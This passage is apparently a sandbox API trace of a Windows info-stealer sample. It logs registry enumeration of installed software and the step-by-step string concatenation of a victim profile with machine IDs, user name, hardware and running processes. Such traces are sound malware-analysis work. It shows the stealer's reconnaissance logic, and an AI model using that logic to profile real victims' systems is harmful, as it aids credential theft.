Runtime - 14.25.28508 [14.25.28508]\n"
[0054.949] RegCloseKey (hKey=0x514) returned 0x0
[0054.950] RegEnumKeyExA (in: hKey=0x508, dwIndex=0xf, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.950] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 90
[0054.950] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.950] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpcbData=0x1816c0*=0x3b) returned 0x0
[0054.950] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\n", lpString2="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005"
[0054.950] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="12.0.21005", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.950] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 ["
[0054.950] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- 